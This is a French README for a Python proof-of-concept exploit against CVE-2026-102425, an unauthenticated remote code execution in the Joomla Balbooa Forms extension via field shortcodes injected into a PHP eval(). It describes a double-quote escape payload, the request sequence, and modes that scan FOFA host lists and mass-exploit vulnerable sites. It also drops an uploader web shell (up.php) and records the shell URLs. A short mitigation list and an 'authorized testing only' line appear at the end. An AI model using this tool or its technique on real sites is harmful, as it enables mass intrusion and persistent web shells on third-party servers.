
PoC Python pour CVE-2026-102425 : RCE non authentifiée dans Joomla Balbooa Forms (com_baforms) via l'injection de shortcode de champ dans eval() PHP post-soumission. Modes vérification, exploitation et massif.
PoC Python 3 pour CVE-2026-102425 — extension Joomla Balbooa Forms de balbooa.com — exécution de code à distance non authentifiée via injection de shortcode de champ dans les actions optionnelles PHP-après-soumission (eval()).
| | |
|---|---|
| PoCbit | https://pocbit.org/pocs/cve-2026-102425 |
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-102425 (PUBLIÉE 2026-09-29) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-102425 |
| CNA | Joomla! Project |
| Composant | com_baforms |
| Affecté | 1.0.0 – 2.4.3.3 |
| Correctif | ≥ 2.4.3.4 |
| CWE | CWE-94 (Injection de code) |
| CVSS 4.0 | 9.5 Critique — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| Découvreurs | Łukasz Rybak, Sergiy Tryzhychynskyi |
Balbooa Forms permet aux administrateurs de définir du code PHP exécuté après la soumission d'un formulaire public. Ce PHP peut contenir des shortcodes de champs de formulaire. Avant l'eval(), le composant remplace chaque shortcode par la valeur brute soumise par le visiteur (sans échappement).
CVE-2026-102425 est exploitable lorsque toutes les conditions suivantes sont réunies :
Version de l'extension < 2.4.3.4.
Un formulaire public utilise l'action optionnelle PHP-après-soumission.
Ce PHP interpole un shortcode de champ contrôlé par l'attaquant à l'intérieur d'une chaîne PHP entre guillemets doubles (évasion classique : ";echo …;//).
Le CVSS AT:P (Attack Requirements: Present) signifie que la configuration vulnérable doit exister — la simple installation du composant ne suffit pas.
Ce n'est pas CVE-2026-67364 (shortcode de requête [paramètre URL = X], corrigé en 2.4.3.2). Utilisez --include-67364 uniquement si vous testez intentionnellement ce problème distinct.
Même composant, même train de versions : corrigez également CVE-2026-102424, -101127, -101112, -101126 (voir mySites.guru).
| Mode | Comportement |
|------|----------|
| check | com_baforms, version du manifeste, affected_version (< 2.4.3.4), public_form_detected via loadAjaxForm / embed |
| check hits par défaut | hits.txt uniquement si affecté et qu'un formulaire public HTML se charge (file d'exploitation) |
| check --all-affected | Liste aussi tout hôte sur version vulnérable (tri FOFA bruyant) |
| check --aggressive | Plus de chemins, scan d'ID loadAjaxForm, plus de sondes de formulaire |
| exploit | Soumission form.message (moderne) + tâches héritées ; charges utiles de shortcode de champ (évasion par guillemets doubles) |
| exploit --include-67364 | Ajoute des tentatives de shortcode par paramètre URL (classe 67364) |
| exploit --aggressive | Scraping complet + découverte loadAjaxForm (plus lent) |
| --lab | Mock local : eval entre guillemets doubles + injection de champ |
| mass | --list + -j → JSONL, hits.txt, exploited.txt |
Les lignes JSONL incluent cve_state, cve_record, nvd, cvss_v4_vector, attack_requirements, pocbit_page.
Lors de l'exploit, le PoC tente d'abord file_put_contents via la même RCE par shortcode de champ pour déposer le up.php local (uploader multipart) sous les chemins Joomla courants (images/baforms/uploads/, images/, …), puis confirme POCBIT-102425-OK dans la réponse de soumission. Si le fichier est visible sur le web, shell_url est affiché et ajouté à exploited.txt.
Python 3.9+
pip install requests urllib3 colorama
cd CVE-2026-102425
python poc.py # interactive
python poc.py hits.txt # mass exploit
python poc.py --check fofa_hosts.txt # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py --lab
python poc.py --help
# Full CLI / JSONL: python _engine.py --help
check massif interactif (hits.txt, 12 threads, verbeux) :

| Étape | Requête |
|------|---------|
| Charger le formulaire | GET index.php?option=com_baforms&task=form.loadAjaxForm&id=N |
| Soumettre | POST vers l'action du formulaire avec task=form.message, form-id, champs (voir ba-form.js) |
| Éviter | format=json sur les tâches front sur de nombreux sites J4 (JSON de contrôleur invalide) |
Les sites hérités peuvent utiliser view=form&form_id=N ou form.submitForm.
Mettre à niveau Balbooa Forms vers 2.4.3.4+.
Supprimer les actions PHP-après-soumission qui intègrent des shortcodes de champ ou d'URL jusqu'au correctif.
Activer reCAPTCHA sur les soumissions publiques.
Auditer les formulaires, les utilisateurs administrateurs et images/baforms/uploads/.
Tests de sécurité autorisés uniquement.
CVE-2026-102425 PoC (PoCbit) — Joomla Balbooa Forms (com_baforms) 1.0.0–2.4.3.3: unauth RCE via field shortcode in PHP-after-submission eval() (CVSS 4.0 9.5 AT:P). check + exploit + mass. https://pocbit.org/pocs/cve-2026-102425